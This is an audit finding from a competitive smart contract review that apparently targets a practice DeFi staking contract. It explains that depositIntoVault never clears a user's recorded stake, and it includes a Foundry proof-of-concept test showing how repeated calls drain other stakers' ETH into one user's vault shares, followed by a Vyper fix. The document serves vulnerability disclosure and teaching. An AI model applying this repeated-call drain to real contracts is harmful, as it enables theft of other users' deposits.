Beginner FriendlyFoundryDeFi
100 EXP
View results
Submission Details
Severity: high
Valid

One user can convert all most raw ETH in the steaking contract into their own shares in the WETH steak vault instead of based on their staking raw ETH amount.

Summary

One user can convert all most staking amount to their own share when the staking ended, and the owner set the wethSteakVault address.

Vulnerability Details

  1. Assume two users, user1 and user2 all stake 0.5 raw ether in the staking contract.

  2. After staking period ended, and the new vault address is set, user1 call depositIntoVault, which transfer his staking raw eth into the weth vault. User 1 record 0.5 ether shares.

  3. For the user1 can continue call depositIntoVault based on her staking amount, transfering his corresponding's amount to the weth vault until the balance of the steaking less than the user1's staking amount. Now User 1 record 1 ether shares though he only stake 0.5 ether in the steaking contract.

Obove steps can also by executed through reentrance attack.

POC_ Test

function test_POC_DepositIntoVault() public {
// Assume before staking peirod end, user1 and user2 all stake 0.5 ether in the staking contract
uint256 dealAmount = steaking.getMinimumStakingAmount();
address user2 = makeAddr("user2");
_stake(user2, dealAmount, user2);
_startVaultDepositPhase(user1, dealAmount, user1);
// After staking period ended, and the new vault address is set, user1 call depositIntoVault.
vm.startPrank(user1);
steaking.depositIntoVault();
vm.stopPrank();
uint256 steakingBalance = address(steaking).balance;
uint256 wethSteakVaultShares = wethSteakVault.balanceOf(user1);
console.log("steakingBalance: %s", steakingBalance);
console.log("wethSteakVaultShares: %s", wethSteakVaultShares);
// User1 can still call depositIntoVault, convert the existed eth in the staking contract to his share
vm.startPrank(user1);
steaking.depositIntoVault();
vm.stopPrank();
steakingBalance = address(steaking).balance;
wethSteakVaultShares = wethSteakVault.balanceOf(user1);
console.log(
"Second depositIntoVault,steakingBalance: %s",
steakingBalance
);
console.log(
"Second depositIntoVault,wethSteakVaultShares: %s",
wethSteakVaultShares
);
}

Impact

  1. One user can convert almost staking eth in the steaking contract into his own shares when staking period end and the owner set the wethSteakVault address.

  2. If the malicious user execute the above step firstly, all other users will lost almost their eth. No ways withdraw their eth,and no sharing records in the wethSteakVault.

  3. The malicous user can set their staking amount, to convert all raw eth into his own share. (Such as total staking eth equal 100 ether, malicious stake 10 ether, can convert 10 times to convert all raw eths to his own shares )

Tools Used

Manual

Recommendations

Each time when user call depositIntoVault, should update usersToStakes, totalAmountStaked to prevent the same user use the usersToStakes so many times converting the existed eth in steaking contract to his own shares based on the wethSteakVault.

@external
def depositIntoVault() -> uint256:
"""
@notice Allows users who have staked ETH during the staking period to deposit their ETH
into the WETH Steak vault.
@dev Before depositing into the vault, the raw ETH is converted into WETH.
@return The amount of shares received from the WETH Steak vault.
"""
assert self._hasStakingPeriodEndedAndVaultAddressSet(), STEAK__STAKING_PERIOD_NOT_ENDED_OR_VAULT_ADDRESS_NOT_SET
stakedAmount: uint256 = self.usersToStakes[msg.sender]
assert stakedAmount > 0, STEAK__AMOUNT_ZERO
// each time when user call depositIntoVault, should update their usersToStakes
// to prevent the user reuse the staking record again
self.usersToStakes[msg.sender] -= stakedAmount
self.totalAmountStaked -= stakedAmount
extcall IWETH(WETH).deposit(value=stakedAmount)
extcall IWETH(WETH).approve(self.vault, stakedAmount)
sharesReceived: uint256 = extcall IWETHSteakVault(self.vault).deposit(stakedAmount, msg.sender)
log DepositedIntoVault(msg.sender, stakedAmount, sharesReceived)
return sharesReceived
Updates

Lead Judging Commences

inallhonesty Lead Judge 10 months ago
Submission Judgement Published
Validated
Assigned finding tags:

`Steaking:depositIntoVault` fails to update the users balance allowing contract draining to repeat call

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.